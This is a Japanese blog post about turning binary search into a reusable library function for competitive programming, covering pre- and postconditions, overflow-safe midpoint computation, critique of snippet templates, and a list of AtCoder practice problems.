二分探索に関しても同様です。 main 関数内での気持ちとしては「何々の条件を満たす最大の値が欲しい」などだけであって、それをするための内部実装をいちいち書くのはうれしくないです。

また、思考のレイヤーの観点の他にも、（たとえば二分探索の内部で二分探索をする必要がある場合などに）変数名をいちいち気にする必要があるのもベタ書きの嫌なポイントです。

競プロ er あるある言説として「ゆーても数行で書けるし」のようなものがありますが、5 行で書けるのと関数呼び出し 1 つで書けるのとでは、やはり手軽さが違うとも思います。

整理・設計

さて、二分探索でやっていることを考えましょう。 状況設定によって二分法と呼び分ける派閥もありますが、ここでは “その手のやつ” たちを二分探索と称することにします。

一旦ここでは整数に限った話をします。界隈でよく言われているような設定は下記でしょう。

$\gdef\boolty{\{\top, \bot\}}$

• input
  • $x_L\in\Z$,
  • $x_U\in\Z$,
  • $f\colon \Z\to\boolty$.
• precondition
  • $x_L \lt x_U$,
  • $f(x_L) = \top$,
  • $f(x_U) = \bot$,
  • $f(x) = \bot \implies f(x+1) = \bot$.
• output
  • $x\in[x_L\lldot x_U]$.
• postcondition
  • $f(x) = \bot$,
  • $f(x-1) = \top$.

ここで、$\top$, $\bot$ は true, false に相当する記号です。 $f(x) = \bot \implies f(x+1) = \bot$ は、界隈で「単調性」と言われがちな条件です。

「単調性」？

ソート済み（単調増加）の列から値を探すときに二分探索を探すというのが基本的な用法としてあり、そこから「単調」と呼ばれるようになったんだろうと思っていました。 とはいえ、[true, true, ..., true, false, ..., false] みたいな配列を称する呼び方として「単調性」は自然なものかね？という気持ちがありました。

なのですが、調べてみた感じだと、そういう用法もあるらしく、ならまぁいいか〜という気持ちになりました。 en.wikipedia.org $\eod$

ところで、二分探索のアルゴリズムで上記の事後条件を満たすような $x\in[x_L\lldot x_U]$ を返すためには、単調性の条件は必要ないことに気づきます。

界隈では「二分探索を用いて境界を見つけるためには単調性が必要である」と言われがちですが、自分の解釈としては、「二分探索を行うと true・false を跨ぐ箇所を一つ見つけることができる。単調性があればそれが一意であることがわかるが、二分探索の実行可能性自体には影響しない」という感じです。

それを踏まえて、下記のような設計でいきます。$f(x_L) = \top$ の条件も除いてしまう方が便利な状況もあるのでそうします*2。

• input
  • $x_L\in\Z$,
  • $x_U\in\Z$,
  • $f\colon \Z\to\boolty$.
• precondition
  • $x_L \le x_U$,
  • $f(x_U) = \bot$.
• output
  • $x\in[x_L\lldot x_U]$.
• postcondition
  • $f(x) = \bot$,
  • $x = x_L \vee f(x-1) = \top$.

$f(x) = \top$ となる方が自然に見える気もしつつ、「（典型的な状況として）$[x_L\lldot x)$ では条件がよい感じで、$[x\lldot x_U)$ だとうれしくない感じになる」のようなイメージでやっていることが多く、こうした設計をしています。 ここは各々が好みに合わせて行えばいいと思います。

実装

そういうわけで、$x_L$, $x_U$, $f$ を渡すと、上記の事後条件を満たすような $x$ を返してくれるようなライブラリを作りたくなってきます。

主要どころということで、Rust, C++, Python の例を挙げてみようと思います。 はてなブログに貼りつけても見にくい感じがあるので、AtCoder への実際の提出コードを貼ります。

• 提出 #56338171, Rust
• 提出 #56335984, C++
• 提出 #56336232, Python

その他

実装に関して

$x_U$ を渡さず、指数探索を行う方針のライブラリを作ってもよいでしょう。えびちゃんはよくこちらを使っています。

思考停止で適当な定数の INF を使うよりは失敗が少ないと思います。 有限値で $\infty$ を代替するときは、思考停止で（≒ 問題ごとに条件を意識せず）使うのではなく、妥当な値であることを都度考える必要があると思っています。

rsk0315.hatenablog.com

中間値に関して

できるだけ、オーバーフローに気をつける実装にしておきましょう。 わざわざライブラリ側で「こういう状況ではバグるんだけど、まぁどうせ競プロで問題になることは少ないし平気」のような欠陥を残しておくメリットは少ないです。 あとそういう欠陥があること自体を忘れがちなので。

意識したことがない人は多いのかもしれませんが、たとえば 1_000_000_000_i32 と 2_000_000_000_i32 の平均値を求めようとする際、単にこれらを足し合わせると i32 ではオーバーフローします。(low + high) / 2 ではなく low + (high - low) / 2 のようにする方針が有名です。ループ条件にも high - low > 1 なので、そういう意識のしやすさもあります。

とはいえこれで満足することもできません。-2_000_000_000_i32 と 2_000_000_000_i32 の差もやっぱりオーバーフローします。 符号つき整数の平均値？ どうするのがいいんでしょう。

C++20 では midpoint という関数が用意されています。

Rust の std の実装では、fn map(a: $SignedTy) -> $UnsignedTy; と fn demap(a: $UnsignedTy) -> $SignedTy; を定義し、下記のようにしているようです (core/num/int_macros.rs, int_impl!)。

demap(<$UnsignedTy>::midpoint(map(self), map(other)))

符号なしに関しては、自分より大きい型にキャストして計算したり、u128 に関しては有名な overflow-free なアルゴリズム ((a ^ b) >> 1) + (a & b) を使っているようです(core/num/mod.rs, midpoint_impl!)。

上記の提出コードでは、過度に複雑になるのを防ぐため、符号なし整数のことだけを考えています。

お気持ちに関して

そもそも、ベタ書きであれライブラリを使うのであれ、二分探索を終えた後に事後条件を意識するのが大事です。 これをしないことには、何回繰り返したところで「勘でやっている」のと大差ないと思います。

もっとも、事前条件・事後条件を意識する必要があるのは二分探索に限らず、すべてのアルゴリズム・データ構造が当てはまるとは思います。

めぐる式に関して

ライブラリ化してしまえば、「毎回二分探索でバグらせています」「めぐる式を使っていますか？」のような会話をいちいちする必要もなくなるだろうなと思っています。

勘違いされていることが多いですが、そもそも めぐる式二分探索の原典 は、[low, high) を半開区間で持つことだけを指しているのではないです。 変数名で区間を [ok, ng)・(ng, ok] のように明示し、どちらの場合でもループの式を abs(ok - ng) > 1 のように統合してしまうもので、なかなか過激なスタイルです。

mid = (ok + ng) / 2 はオーバーフローが怖いです。あと if (solve(mid)) の部分はあんまりうまくない名称な気がします。これはえびちゃんの感情です。

そもそも、にぶたんの下界・上界の部分を「区間」と捉えるの自体がえびちゃんの感覚とあってないかも？

ライブラリ・スニペットに関して

にぶたん（や、その他のアルゴリズム）のテンプレとして下記のようなスニペットを都度貼りつけている人もいるでしょう。

let (mut ok, mut bad) = (0, INF);
while bad - ok > 1 {
    let mid = ok + (bad - ok) / 2;
    let mid_is_ok = {
        // ここに実装を書く
    };
    *(if mid_is_ok { &mut ok } else { &mut bad }) = mid;
}

こういうやり方をやめましょうと主張する気はないですが、あまり好ましいとも思っていません。 「このような引数を渡すと、こういうものを返す」という形式で整理できていないもの・それが難しいものに関してはこれで妥協するのもありですが、事前条件・事後条件の意識などがしにくくなりそうという気がしています。

同様のものとして、BFS なども適切に抽象化できるとうれしいかもしれません*3。

類題

ネタバレになるのであまり好ましくないかもではありますが、そもそも ABC の問題数はたくさんあるので「方針をわかった上できちんと実装を詰める用」と「方針を自力で考える用」で分けて使ってしまってもよい気がします。

ざっと探した感じでも、ABC 300 以降で 2 割くらいのコンテストでは出ているようで、常連さんだなぁという気持ちです。 ところで、ABC 300 がすでに 1 年以上前ということに気づいてびっくりしてしまいました。

• ABC 302 D
• ABC 311 E
• ABC 312 C
• ABC 313 C
• ABC 318 F
• ABC 319 D
• ABC 321 D
• ABC 330 F
• ABC 341 D
• ABC 346 F
• ABC 353 C
• ABC 364 D
• ABC 365 C

所感

ベタ書きしたがる人々を改宗させるのは大変そう。

最近はどうかわからないですが、競プロ界隈の一部では「パソコンや言語仕様に詳しくなく、そうしたものを使って高度に便利なライブラリ・ツールを準備することに対する忌避感がある」のような風潮があったように感じます。 oj やその類のテストツールを使わずに手作業でがんばっている人はまだまだたくさんいるような気がします*4。

おわり

ああ我らの日曜日。

*1:別に REP マクロを推奨したいわけではないですが、ベタ書きを推奨したいわけでもありません。

*2:$f(x_L-1) = \top$ であると見なしているという見方もあるかも。

*3:ありがちなグラフに限った BFS という意味ではなく、一般の探索ということです。

*4:そういえば、これ にレスがなくてかなしい。